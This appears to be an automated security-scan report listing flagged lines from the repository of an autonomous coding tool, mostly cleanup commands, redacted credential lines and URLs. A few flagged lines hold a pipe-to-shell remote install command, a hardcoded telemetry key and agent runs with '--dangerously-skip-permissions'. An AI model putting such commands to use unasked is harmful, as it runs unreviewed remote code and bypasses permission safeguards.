    if ! { mkdir -p "$(dirname "$rec")" && chmod 700 "$(dirname "$rec")" && printf '%s\n' "$dir" > "$rec"; }; then rm -rf -- "$dir"; return 1; fi
  • Dangerous shell operationline 1239
    docker rm -f "${CONTAINER_NAME}-egress" >/dev/null 2>&1 || true
  • Dangerous shell operationline 1240
    docker network rm "$net" >/dev/null 2>&1 || true
  • Dangerous shell operationline 1263
    rm -rf -- "$fb"
  • Dangerous shell operationline 1265
    rm -f -- "$rec"
  • Dangerous shell operationline 1267
    docker rm -f "${CONTAINER_NAME}-egress" >/dev/null 2>&1 || true
  • Dangerous shell operationline 1268
    docker network rm "${CONTAINER_NAME}-internal" >/dev/null 2>&1 || true
  • Dangerous shell operationline 1344
    docker rm -f "$CONTAINER_NAME" 2>/dev/null || true
  • Access to secretsline 1477
    [Credential-related source omitted]
  • Access to secretsline 1479
    [Credential-related source omitted]
  • Access to secretsline 1480
    [Credential-related source omitted]
  • Access to secretsline 1536
    [Credential-related source omitted]
  • Access to secretsline 1537
    [Credential-related source omitted]
  • Access to secretsline 1539
    [Credential-related source omitted]
  • Access to secretsline 1540
    [Credential-related source omitted]
  • Access to secretsline 1542
    [Credential-related source omitted]
  • Access to secretsline 1543
    [Credential-related source omitted]
  • Access to secretsline 1545
    [Credential-related source omitted]
  • Access to secretsline 1546
    [Credential-related source omitted]
  • Access to secretsline 1548
    [Credential-related source omitted]
  • Access to secretsline 1549
    [Credential-related source omitted]
  • Network accessline 1605
    log_info ""     log_info "Access:"     log_info "  Dashboard: http://localhost:$DASHBOARD_PORT"
  • Network accessline 1606
    log_info "Access:"     log_info "  Dashboard: http://localhost:$DASHBOARD_PORT"     log_info "  API:       http://localhost:$API_PORT"
  • Network accessline 1607
    log_info "  Dashboard: http://localhost:$DASHBOARD_PORT"
  • Network accessline 1608
    log_info "  API:       http://localhost:$API_PORT"
  • Dangerous shell operationline 1647
    rm -rf -- "$_state_dir" 2>/dev/null || true
  • Dangerous shell operationline 1658
    docker rm -f "$CONTAINER_NAME" 2>/dev/null || true
  • Dangerous shell operationline 1662
    rm -rf -- "$_state_dir" 2>/dev/null || true
  • Network accessline 1809
    log_info "Access the app at:"     log_info "  http://localhost:$port"
  • Network accessline 1810
    log_info "  http://localhost:$port"
  • Network accessline 1952
    echo ""             echo "  Check deployment status:"             echo "    loki sandbox run 'curl -s http://localhost:3000/health'"
  • Network accessline 1953
    echo "  Check deployment status:"             echo "    loki sandbox run 'curl -s http://localhost:3000/health'"             ;;
  • Network accessline 1954
    echo "    loki sandbox run 'curl -s http://localhost:3000/health'"

autonomy/serve.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Network accessline 103
    [Credential-related source omitted]
  • Network accessline 123
    echo ""         echo "Install Deno:"         echo "  curl -fsSL https://deno.land/install.sh | sh"
  • Network accessline 124
    echo "Install Deno:"         echo "  curl -fsSL https://deno.land/install.sh | sh"         echo "  # or"
  • Dangerous shell operationline 125
    echo "  curl -fsSL https://deno.land/install.sh | sh"
  • Network accessline 125
    echo "  curl -fsSL https://deno.land/install.sh | sh"
  • Access to secretsline 218
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]

autonomy/setup-wizard.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 6
    # # REQUIRED (doctor fails without them): node >= 20, python3 >= 3.8, jq, git, curl # AT LEAST ONE of: a provider CLI (claude, opencode) or the
  • Network accessline 7
    # REQUIRED (doctor fails without them): node >= 20, python3 >= 3.8, jq, git, curl # AT LEAST ONE of: a provider CLI (claude, opencode) or the #   bundled Claude Agent SDK with credentials. Claude Code is the default.
  • Network accessline 88
    echo ""     echo "1. Required tools"     _lsw_tool node REQUIRED "$(_lsw_fix node "install Node 20+ from https://nodejs.org")" || true
  • Network accessline 89
    echo "1. Required tools"     _lsw_tool node REQUIRED "$(_lsw_fix node "install Node 20+ from https://nodejs.org")" || true     _lsw_tool python3 REQUIRED "$(_lsw_fix python3 "install python3")" || true
  • Network accessline 90
    _lsw_tool node REQUIRED "$(_lsw_fix node "install Node 20+ from https://nodejs.org")" || true
  • Network accessline 92
    _lsw_tool jq REQUIRED "$(_lsw_fix jq "install jq")" || true     _lsw_tool git REQUIRED "$(_lsw_fix git "install git")" || true     _lsw_tool curl REQUIRED "$(_lsw_fix curl "install curl")" || true
  • Network accessline 93
    _lsw_tool git REQUIRED "$(_lsw_fix git "install git")" || true     _lsw_tool curl REQUIRED "$(_lsw_fix curl "install curl")" || true     _lsw_tool bun OPTIONAL "$(_lsw_fix bun "bundled by npm; else see https://bun.sh")" || true
  • Network accessline 94
    _lsw_tool curl REQUIRED "$(_lsw_fix curl "install curl")" || true
  • Network accessline 95
    _lsw_tool bun OPTIONAL "$(_lsw_fix bun "bundled by npm; else see https://bun.sh")" || true
  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]

autonomy/spec-interrogation.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 302
    [Credential-related source omitted]
  • Access to secretsline 303
    [Credential-related source omitted]
  • Access to secretsline 304
    [Credential-related source omitted]
  • Access to secretsline 305
    [Credential-related source omitted]
  • Access to secretsline 306
    [Credential-related source omitted]
  • Access to secretsline 307
    [Credential-related source omitted]
  • Access to secretsline 308
    [Credential-related source omitted]
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Access to secretsline 314
    [Credential-related source omitted]
  • Access to secretsline 342
    [Credential-related source omitted]
  • Access to secretsline 620
    [Credential-related source omitted]
  • Access to secretsline 703
    [Credential-related source omitted]
  • Access to secretsline 704
    [Credential-related source omitted]
  • Access to secretsline 851
    [Credential-related source omitted]
  • Access to secretsline 882
    [Credential-related source omitted]
  • Access to secretsline 975
    [Credential-related source omitted]
  • Access to secretsline 1033
    [Credential-related source omitted]
  • Access to secretsline 1034
    [Credential-related source omitted]
  • Access to secretsline 1082
    [Credential-related source omitted]
  • Access to secretsline 1109
    [Credential-related source omitted]

autonomy/spec.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 366
    [Credential-related source omitted]
  • Access to secretsline 368
    [Credential-related source omitted]
  • Access to secretsline 371
    [Credential-related source omitted]
  • Access to secretsline 372
    [Credential-related source omitted]
  • Access to secretsline 374
    [Credential-related source omitted]
  • Access to secretsline 375
    [Credential-related source omitted]
  • Access to secretsline 376
    [Credential-related source omitted]
  • Access to secretsline 379
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Access to secretsline 469
    [Credential-related source omitted]
  • Access to secretsline 487
    [Credential-related source omitted]
  • Access to secretsline 491
    [Credential-related source omitted]
  • Access to secretsline 492
    [Credential-related source omitted]
  • Access to secretsline 493
    [Credential-related source omitted]
  • Access to secretsline 494
    [Credential-related source omitted]
  • Access to secretsline 499
    [Credential-related source omitted]
  • Access to secretsline 500
    [Credential-related source omitted]
  • Access to secretsline 501
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 552
    [Credential-related source omitted]
  • Dangerous shell operationline 775
    rm -f -- "${res:?}"
  • Dangerous shell operationline 777
    rm -f -- "${rec:?}"

autonomy/telemetry.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 59
    _LOKI_TELEMETRY_SELF_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" 2>/dev/null && pwd -P)" || _LOKI_TELEMETRY_SELF_DIR="" fi LOKI_POSTHOG_HOST="${LOKI_TELEMETRY_ENDPOINT:-https://us.i.posthog.com}"
  • Network accessline 60
    fi LOKI_POSTHOG_HOST="${LOKI_TELEMETRY_ENDPOINT:-https://us.i.posthog.com}" LOKI_POSTHOG_KEY="phc_ya0vGBru41AJWtGNfZZ8H9W4yjoZy4KON0nnayS7s87"
  • Network accessline 61
    LOKI_POSTHOG_HOST="${LOKI_TELEMETRY_ENDPOINT:-https://us.i.posthog.com}"
  • Network accessline 98
    #   3. Else enterprise/CI/air-gapped -> 1 (auto-off, safe out of the box)     #   4. Else (individual default)    -> 0 (on, anonymous diagnostics)     # All enabled paths still require curl (no egress tool -> off).
  • Network accessline 100
    # All enabled paths still require curl (no egress tool -> off).
  • Network accessline 113
    if [ "$_telem_lower" = "on" ]; then         command -v curl >/dev/null 2>&1 || return 1
  • Network accessline 114
    command -v curl >/dev/null 2>&1 || return 1
  • Network accessline 116
    fi     if [ -f "${HOME}/.loki/config" ] && grep -q "^TELEMETRY_ENABLED=true" "${HOME}/.loki/config" 2>/dev/null; then         command -v curl >/dev/null 2>&1 || return 1
  • Network accessline 117
    if [ -f "${HOME}/.loki/config" ] && grep -q "^TELEMETRY_ENABLED=true" "${HOME}/.loki/config" 2>/dev/null; then         command -v curl >/dev/null 2>&1 || return 1         return 0
  • Network accessline 118
    command -v curl >/dev/null 2>&1 || return 1
  • Network accessline 126
    command -v curl >/dev/null 2>&1 || return 1
  • Network accessline 283
    # loki_telemetry <event> [key=value...]: the ONE send path of the bash senders. # Order is load-bearing: the opt-out gate runs before anything else, so with # LOKI_TELEMETRY=off or DO_NOT_TRACK=1 no python, no curl and no network code is
  • Network accessline 284
    # Order is load-bearing: the opt-out gate runs before anything else, so with # LOKI_TELEMETRY=off or DO_NOT_TRACK=1 no python, no curl and no network code is # reached. Then every key and value is filtered through
  • Network accessline 285
    # LOKI_TELEMETRY=off or DO_NOT_TRACK=1 no python, no curl and no network code is
  • Access to secretsline 321
    [Credential-related source omitted]
  • Network accessline 347
    (curl -sS --max-time 3 -X POST "${LOKI_POSTHOG_HOST}/capture/" \

autonomy/trigger-schedule.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/trigger-server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 371
    [Credential-related source omitted]
  • Access to secretsline 374
    [Credential-related source omitted]
  • Access to secretsline 512
    [Credential-related source omitted]
  • Access to secretsline 516
    [Credential-related source omitted]
  • Access to secretsline 524
    [Credential-related source omitted]
  • Access to secretsline 633
    [Credential-related source omitted]
  • Access to secretsline 646
    [Credential-related source omitted]
  • Network accessline 698
    env = _scoped_child_env()         env["_LOKI_ORIGIN_PINNED"] = "1"         env["_LOKI_PINNED_ORIGIN"] = "https://github.com/%s.git" % repo_full_name
  • Network accessline 699
    env["_LOKI_ORIGIN_PINNED"] = "1"         env["_LOKI_PINNED_ORIGIN"] = "https://github.com/%s.git" % repo_full_name         proc = subprocess.run(["bash", str(script), "issue-comment", ref, body],
  • Network accessline 700
    env["_LOKI_PINNED_ORIGIN"] = "https://github.com/%s.git" % repo_full_name
  • Access to secretsline 760
    [Credential-related source omitted]
  • Access to secretsline 795
    [Credential-related source omitted]
  • Access to secretsline 824
    [Credential-related source omitted]
  • Network accessline 966
    SIGNATURE_MAX_SKEW_S = 300 SLACK_REPLY_PREFIX = "https://hooks.slack.com/"
  • Network accessline 967
    SLACK_REPLY_PREFIX = "https://hooks.slack.com/"
  • Network accessline 968
    LINEAR_API_URL = "https://api.linear.app/graphql"
  • Access to secretsline 1010
    [Credential-related source omitted]
  • Access to secretsline 1013
    [Credential-related source omitted]
  • Access to secretsline 1014
    [Credential-related source omitted]
  • Possible obfuscationline 1051
    key = base64.b64decode(token, validate=True)
  • Access to secretsline 1176
    [Credential-related source omitted]
  • Access to secretsline 1177
    [Credential-related source omitted]
  • Access to secretsline 1207
    [Credential-related source omitted]
  • Access to secretsline 1221
    [Credential-related source omitted]
  • Access to secretsline 1222
    [Credential-related source omitted]
  • Access to secretsline 1223
    [Credential-related source omitted]
  • Access to secretsline 1270
    [Credential-related source omitted]
  • Access to secretsline 1338
    [Credential-related source omitted]
  • Access to secretsline 2168
    [Credential-related source omitted]
  • Access to secretsline 2565
    [Credential-related source omitted]
  • Access to secretsline 2580
    [Credential-related source omitted]
  • Access to secretsline 2581
    [Credential-related source omitted]
  • Access to secretsline 2595
    [Credential-related source omitted]
  • Access to secretsline 2598
    [Credential-related source omitted]
  • Access to secretsline 2599
    [Credential-related source omitted]
  • Access to secretsline 2600
    [Credential-related source omitted]
  • Network accessline 2630
    mode_label = " [DRY-RUN]" if dry_run else ""     logging.info("Loki trigger server starting on port %d%s", port, mode_label)     logging.info("Webhook endpoint: POST http://localhost:%d/webhook", port)
  • Network accessline 2631
    logging.info("Loki trigger server starting on port %d%s", port, mode_label)     logging.info("Webhook endpoint: POST http://localhost:%d/webhook", port)     logging.info("Health check: GET http://localhost:%d/health", port)
  • Network accessline 2632
    logging.info("Webhook endpoint: POST http://localhost:%d/webhook", port)
  • Network accessline 2633
    logging.info("Health check: GET http://localhost:%d/health", port)
  • Network accessline 2634
    logging.info("Submit endpoint: POST http://localhost:%d/jobs", port)
  • Network accessline 2636
    logging.info(             "Receipt attestation: ACTIVE (kid %s), public keys at "             "GET http://localhost:%d/.well-known/jwks.json%s",
  • Network accessline 2637
    "Receipt attestation: ACTIVE (kid %s), public keys at "             "GET http://localhost:%d/.well-known/jwks.json%s",             signing_kid, port,
  • Network accessline 2638
    "GET http://localhost:%d/.well-known/jwks.json%s",
  • Access to secretsline 2664
    [Credential-related source omitted]
  • Access to secretsline 2671
    [Credential-related source omitted]

autonomy/tui.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/verify.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 167
    rm -f "$diff_file" 2>/dev/null || true
  • Dangerous shell operationline 173
    pf="$(mktemp "${TMPDIR:-/tmp}/loki-verify-llm-prompt.XXXXXX")" || { rm -f "$diff_file"; return 0; }
  • Dangerous shell operationline 174
    sf="$(mktemp "${TMPDIR:-/tmp}/loki-verify-llm-schema.XXXXXX")" || { rm -f "$diff_file" "$pf"; return 0; }
  • Dangerous shell operationline 224
    rm -f "$diff_file" "$pf" "$sf" 2>/dev/null || true
  • Access to secretsline 965
    [Credential-related source omitted]
  • Access to secretsline 1163
    [Credential-related source omitted]
  • Access to secretsline 1168
    [Credential-related source omitted]
  • Access to secretsline 1217
    [Credential-related source omitted]
  • Access to secretsline 1224
    [Credential-related source omitted]
  • Access to secretsline 1639
    [Credential-related source omitted]
  • Access to secretsline 1675
    [Credential-related source omitted]
  • Access to secretsline 1679
    [Credential-related source omitted]
  • Access to secretsline 1687
    [Credential-related source omitted]
  • Access to secretsline 1692
    [Credential-related source omitted]
  • Access to secretsline 1710
    [Credential-related source omitted]
  • Access to secretsline 1711
    [Credential-related source omitted]
  • Access to secretsline 1713
    [Credential-related source omitted]
  • Access to secretsline 1714
    [Credential-related source omitted]
  • Access to secretsline 1715
    [Credential-related source omitted]
  • Network accessline 1751
    [Credential-related source omitted]
  • Network accessline 1753
    [Credential-related source omitted]
  • Access to secretsline 1757
    [Credential-related source omitted]
  • Access to secretsline 1781
    [Credential-related source omitted]
  • Network accessline 1786
    [Credential-related source omitted]
  • Network accessline 1787
    [Credential-related source omitted]
  • Network accessline 1791
    [Credential-related source omitted]
  • Network accessline 1793
    [Credential-related source omitted]
  • Network accessline 1810
    [Credential-related source omitted]
  • Network accessline 1811
    [Credential-related source omitted]
  • Network accessline 1812
    [Credential-related source omitted]
  • Network accessline 1814
    [Credential-related source omitted]
  • Network accessline 1815
    [Credential-related source omitted]
  • Network accessline 1816
    [Credential-related source omitted]
  • Network accessline 1844
    [Credential-related source omitted]
  • Network accessline 1845
    [Credential-related source omitted]
  • Network accessline 1846
    [Credential-related source omitted]
  • Access to secretsline 1854
    [Credential-related source omitted]
  • Network accessline 1857
    [Credential-related source omitted]
  • Network accessline 1858
    [Credential-related source omitted]
  • Network accessline 1859
    [Credential-related source omitted]
  • Network accessline 1860
    [Credential-related source omitted]
  • Network accessline 1861
    [Credential-related source omitted]
  • Network accessline 1872
    [Credential-related source omitted]
  • Network accessline 1873
    [Credential-related source omitted]
  • Network accessline 1874
    [Credential-related source omitted]
  • Network accessline 1886
    [Credential-related source omitted]
  • Access to secretsline 1891
    [Credential-related source omitted]
  • Access to secretsline 1892
    [Credential-related source omitted]
  • Access to secretsline 1893
    [Credential-related source omitted]
  • Access to secretsline 1894
    [Credential-related source omitted]
  • Access to secretsline 1895
    [Credential-related source omitted]
  • Access to secretsline 1898
    [Credential-related source omitted]
  • Network accessline 1907
    [Credential-related source omitted]
  • Network accessline 1909
    [Credential-related source omitted]
  • Dangerous shell operationline 1913
    [Credential-related source omitted]
  • Network accessline 1913
    [Credential-related source omitted]
  • Network accessline 1914
    [Credential-related source omitted]
  • Network accessline 1915
    [Credential-related source omitted]
  • Dangerous shell operationline 1916
    [Credential-related source omitted]
  • Network accessline 1916
    [Credential-related source omitted]
  • Network accessline 1942
    [Credential-related source omitted]
  • Dangerous shell operationline 1963
    [Credential-related source omitted]
  • Network accessline 1982
    [Credential-related source omitted]
  • Network accessline 1983
    [Credential-related source omitted]
  • Network accessline 1984
    [Credential-related source omitted]
  • Dangerous shell operationline 1986
    [Credential-related source omitted]
  • Access to secretsline 1992
    [Credential-related source omitted]
  • Access to secretsline 2006
    [Credential-related source omitted]
  • Dangerous shell operationline 2117
    [Credential-related source omitted]
  • Access to secretsline 2128
    [Credential-related source omitted]
  • Access to secretsline 2131
    [Credential-related source omitted]
  • Access to secretsline 2254
    [Credential-related source omitted]
  • Access to secretsline 2263
    [Credential-related source omitted]
  • Access to secretsline 2268
    [Credential-related source omitted]
  • Access to secretsline 2300
    [Credential-related source omitted]
  • Access to secretsline 2301
    [Credential-related source omitted]
  • Access to secretsline 2302
    [Credential-related source omitted]
  • Access to secretsline 2317
    [Credential-related source omitted]
  • Access to secretsline 2345
    [Credential-related source omitted]
  • Access to secretsline 2346
    [Credential-related source omitted]
  • Access to secretsline 2347
    [Credential-related source omitted]
  • Access to secretsline 2349
    [Credential-related source omitted]
  • Access to secretsline 2351
    [Credential-related source omitted]
  • Access to secretsline 2352
    [Credential-related source omitted]
  • Access to secretsline 2353
    [Credential-related source omitted]
  • Access to secretsline 2354
    [Credential-related source omitted]
  • Access to secretsline 2356
    [Credential-related source omitted]
  • Access to secretsline 2357
    [Credential-related source omitted]
  • Access to secretsline 2358
    [Credential-related source omitted]
  • Access to secretsline 2363
    [Credential-related source omitted]
  • Access to secretsline 2364
    [Credential-related source omitted]
  • Access to secretsline 2365
    [Credential-related source omitted]
  • Access to secretsline 2375
    [Credential-related source omitted]
  • Access to secretsline 2376
    [Credential-related source omitted]
  • Access to secretsline 2377
    [Credential-related source omitted]
  • Access to secretsline 2378
    [Credential-related source omitted]
  • Access to secretsline 2379
    [Credential-related source omitted]
  • Access to secretsline 2396
    [Credential-related source omitted]
  • Access to secretsline 2400
    [Credential-related source omitted]
  • Access to secretsline 2407
    [Credential-related source omitted]
  • Access to secretsline 2410
    [Credential-related source omitted]
  • Access to secretsline 2419
    [Credential-related source omitted]
  • Access to secretsline 2420
    [Credential-related source omitted]
  • Access to secretsline 2435
    [Credential-related source omitted]
  • Access to secretsline 2438
    [Credential-related source omitted]
  • Access to secretsline 2442
    [Credential-related source omitted]
  • Access to secretsline 2467
    [Credential-related source omitted]
  • Access to secretsline 2809
    [Credential-related source omitted]
  • Access to secretsline 2810
    [Credential-related source omitted]
  • Access to secretsline 2811
    [Credential-related source omitted]
  • Access to secretsline 2812
    [Credential-related source omitted]
  • Access to secretsline 2941
    [Credential-related source omitted]
  • Access to secretsline 2994
    [Credential-related source omitted]
  • Access to secretsline 2995
    [Credential-related source omitted]
  • Access to secretsline 3044
    [Credential-related source omitted]
  • Access to secretsline 3063
    [Credential-related source omitted]
  • Access to secretsline 3108
    [Credential-related source omitted]
  • Access to secretsline 3140
    [Credential-related source omitted]
  • Access to secretsline 3372
    [Credential-related source omitted]
  • Dangerous shell operationline 3389
    [Credential-related source omitted]
  • Access to secretsline 3397
    [Credential-related source omitted]
  • Access to secretsline 3399
    [Credential-related source omitted]
  • Access to secretsline 3464
    [Credential-related source omitted]
  • Access to secretsline 3469
    [Credential-related source omitted]
  • Access to secretsline 3481
    [Credential-related source omitted]
  • Access to secretsline 3501
    [Credential-related source omitted]
  • Access to secretsline 3508
    [Credential-related source omitted]
  • Access to secretsline 3509
    [Credential-related source omitted]

autonomy/voice.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Dangerous shell operationline 138
    rm -f "$f" 2>/dev/null
  • Access to secretsline 214
    [Credential-related source omitted]
  • Access to secretsline 215
    [Credential-related source omitted]
  • Network accessline 219
    local response     response=$(curl -s -X POST "https://api.openai.com/v1/audio/transcriptions" \
  • Network accessline 220
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]
  • Access to secretsline 221
    [Credential-related source omitted]
  • Dangerous shell operationline 245
    rm -f "$txt_file"
  • Dangerous shell operationline 252
    rm -f "$basename_txt"
  • Dangerous shell operationline 294
    rm -f "$temp_file"
  • Access to secretsline 326
    [Credential-related source omitted]
  • Access to secretsline 402
    [Credential-related source omitted]
  • Access to secretsline 414
    [Credential-related source omitted]
  • Access to secretsline 484
    [Credential-related source omitted]

benchmarks/bench/prices.json

  • Network accessline 17
    ],   "sources": {     "anthropic": "https://www.anthropic.com/pricing",
  • Network accessline 18
    "sources": {     "anthropic": "https://www.anthropic.com/pricing",     "openai": "https://openai.com/api/pricing",
  • Network accessline 19
    "anthropic": "https://www.anthropic.com/pricing",
  • Network accessline 20
    "openai": "https://openai.com/api/pricing",
  • Network accessline 21
    "google": "https://ai.google.dev/pricing"

benchmarks/h2h/RESULTS.md

  • Instruction override signalline 355
    passes none (`--configs oracle,noop`, run by `tests/min/h2h-harness.sh` on every PR). - **Configs.**   - `raw-haiku`, `raw-opus`: `claude -p <task> --model haiku|opus --dangerously-skip-permissions`.
  • Instruction override signalline 356
    - **Configs.**   - `raw-haiku`, `raw-opus`: `claude -p <task> --model haiku|opus --dangerously-skip-permissions`.   - `loki-haiku`: `bin/loki <task> --no-pr` with every stage pinned to Haiku.
  • Instruction override signalline 357
    - `raw-haiku`, `raw-opus`: `claude -p <task> --model haiku|opus --dangerously-skip-permissions`.

benchmarks/h2h/fixtures/hard/go-expr-autoderef/meta.json

  • Network accessline 25
    ],   "source": {     "upstream": "https://github.com/expr-lang/expr",
  • Network accessline 26
    "source": {     "upstream": "https://github.com/expr-lang/expr",     "license": "MIT",
  • Network accessline 27
    "upstream": "https://github.com/expr-lang/expr",
  • Network accessline 28
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/expr-lang/expr/issues/836",
  • Network accessline 29
    "license_file": "LICENSE",     "issue": "https://github.com/expr-lang/expr/issues/836",     "fix_pr": "https://github.com/expr-lang/expr/pull/871",
  • Network accessline 30
    "issue": "https://github.com/expr-lang/expr/issues/836",
  • Network accessline 31
    "fix_pr": "https://github.com/expr-lang/expr/pull/871",

benchmarks/h2h/fixtures/hard/go-expr-withcontext/meta.json

  • Network accessline 25
    ],   "source": {     "upstream": "https://github.com/expr-lang/expr",
  • Network accessline 26
    "source": {     "upstream": "https://github.com/expr-lang/expr",     "license": "MIT",
  • Network accessline 27
    "upstream": "https://github.com/expr-lang/expr",
  • Network accessline 28
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/expr-lang/expr/issues/823",
  • Network accessline 29
    "license_file": "LICENSE",     "issue": "https://github.com/expr-lang/expr/issues/823",     "fix_pr": "https://github.com/expr-lang/expr/pull/883",
  • Network accessline 30
    "issue": "https://github.com/expr-lang/expr/issues/823",
  • Network accessline 31
    "fix_pr": "https://github.com/expr-lang/expr/pull/883",

benchmarks/h2h/fixtures/hard/go-expr-withcontext/task.txt

  • Network accessline 7
    https://go.dev/play/p/9dH2e9KuF2d

benchmarks/h2h/fixtures/hard/py-click-help-option-cls/meta.json

  • Network accessline 48
    ],   "source": {     "upstream": "https://github.com/pallets/click",
  • Network accessline 49
    "source": {     "upstream": "https://github.com/pallets/click",     "license": "BSD-3-Clause",
  • Network accessline 50
    "upstream": "https://github.com/pallets/click",
  • Network accessline 51
    "license": "BSD-3-Clause",     "license_file": "LICENSE.txt",     "issue": "https://github.com/pallets/click/issues/2832",
  • Network accessline 52
    "license_file": "LICENSE.txt",     "issue": "https://github.com/pallets/click/issues/2832",     "fix_pr": "https://github.com/pallets/click/pull/2840",
  • Network accessline 53
    "issue": "https://github.com/pallets/click/issues/2832",
  • Network accessline 54
    "fix_pr": "https://github.com/pallets/click/pull/2840",

benchmarks/h2h/fixtures/hard/py-click-help-option-cls/task.txt

  • Network accessline 5
    This was found in this issue originally: - https://github.com/aboutcode-org/scancode-toolkit/issues/4044
  • Network accessline 6
    - https://github.com/aboutcode-org/scancode-toolkit/issues/4044
  • Network accessline 8
    This was introduced in this PR by @kdeldycke :wave: : - https://github.com/pallets/click/pull/2563
  • Network accessline 9
    - https://github.com/pallets/click/pull/2563

benchmarks/h2h/fixtures/hard/py-click-show-default-prompt/meta.json

  • Network accessline 49
    ],   "source": {     "upstream": "https://github.com/pallets/click",
  • Network accessline 50
    "source": {     "upstream": "https://github.com/pallets/click",     "license": "BSD-3-Clause",
  • Network accessline 51
    "upstream": "https://github.com/pallets/click",
  • Network accessline 52
    "license": "BSD-3-Clause",     "license_file": "LICENSE.txt",     "issue": "https://github.com/pallets/click/issues/2836",
  • Network accessline 53
    "license_file": "LICENSE.txt",     "issue": "https://github.com/pallets/click/issues/2836",     "fix_pr": "https://github.com/pallets/click/pull/3328",
  • Network accessline 54
    "issue": "https://github.com/pallets/click/issues/2836",
  • Network accessline 55
    "fix_pr": "https://github.com/pallets/click/pull/3328",

benchmarks/h2h/fixtures/hard/py-mistune-codespan-escape/meta.json

  • Network accessline 31
    ],   "source": {     "upstream": "https://github.com/lepture/mistune",
  • Network accessline 32
    "source": {     "upstream": "https://github.com/lepture/mistune",     "license": "BSD-3-Clause",
  • Network accessline 33
    "upstream": "https://github.com/lepture/mistune",
  • Network accessline 34
    "license": "BSD-3-Clause",     "license_file": "LICENSE",     "issue": "https://github.com/lepture/mistune/issues/372",
  • Network accessline 35
    "license_file": "LICENSE",     "issue": "https://github.com/lepture/mistune/issues/372",     "fix_pr": "https://github.com/lepture/mistune/pull/393",
  • Network accessline 36
    "issue": "https://github.com/lepture/mistune/issues/372",
  • Network accessline 37
    "fix_pr": "https://github.com/lepture/mistune/pull/393",

benchmarks/h2h/fixtures/hard/py-mistune-md-leading-newlines/meta.json

  • Network accessline 31
    ],   "source": {     "upstream": "https://github.com/lepture/mistune",
  • Network accessline 32
    "source": {     "upstream": "https://github.com/lepture/mistune",     "license": "BSD-3-Clause",
  • Network accessline 33
    "upstream": "https://github.com/lepture/mistune",
  • Network accessline 34
    "license": "BSD-3-Clause",     "license_file": "LICENSE",     "issue": "https://github.com/lepture/mistune/issues/366",
  • Network accessline 35
    "license_file": "LICENSE",     "issue": "https://github.com/lepture/mistune/issues/366",     "fix_pr": "https://github.com/lepture/mistune/pull/481",
  • Network accessline 36
    "issue": "https://github.com/lepture/mistune/issues/366",
  • Network accessline 37
    "fix_pr": "https://github.com/lepture/mistune/pull/481",

benchmarks/h2h/fixtures/hard/py-mistune-toc-reflinks/meta.json

  • Network accessline 33
    ],   "source": {     "upstream": "https://github.com/lepture/mistune",
  • Network accessline 34
    "source": {     "upstream": "https://github.com/lepture/mistune",     "license": "BSD-3-Clause",
  • Network accessline 35
    "upstream": "https://github.com/lepture/mistune",
  • Network accessline 36
    "license": "BSD-3-Clause",     "license_file": "LICENSE",     "issue": "https://github.com/lepture/mistune/issues/426",
  • Network accessline 37
    "license_file": "LICENSE",     "issue": "https://github.com/lepture/mistune/issues/426",     "fix_pr": "https://github.com/lepture/mistune/pull/427",
  • Network accessline 38
    "issue": "https://github.com/lepture/mistune/issues/426",
  • Network accessline 39
    "fix_pr": "https://github.com/lepture/mistune/pull/427",

benchmarks/h2h/fixtures/hard/py-mistune-toc-reflinks/task.txt

  • Network accessline 5
    I think the root cause is similar to https://github.com/lepture/mistune/issues/378#issuecomment-3678197092, state not being passed around when the TOC `ul` is rendered; the fix probably involves passing the parent state to `normalize_toc_it

benchmarks/h2h/fixtures/hard/py-sqlglot-hash-case/meta.json

  • Network accessline 39
    ],   "source": {     "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 40
    "source": {     "upstream": "https://github.com/tobymao/sqlglot",     "license": "MIT",
  • Network accessline 41
    "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 42
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8598",
  • Network accessline 43
    "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8598",     "fix_pr": "https://github.com/tobymao/sqlglot/pull/8599",
  • Network accessline 44
    "issue": "https://github.com/tobymao/sqlglot/issues/8598",
  • Network accessline 45
    "fix_pr": "https://github.com/tobymao/sqlglot/pull/8599",

benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-stddev/meta.json

  • Network accessline 38
    ],   "source": {     "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 39
    "source": {     "upstream": "https://github.com/tobymao/sqlglot",     "license": "MIT",
  • Network accessline 40
    "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 41
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8626",
  • Network accessline 42
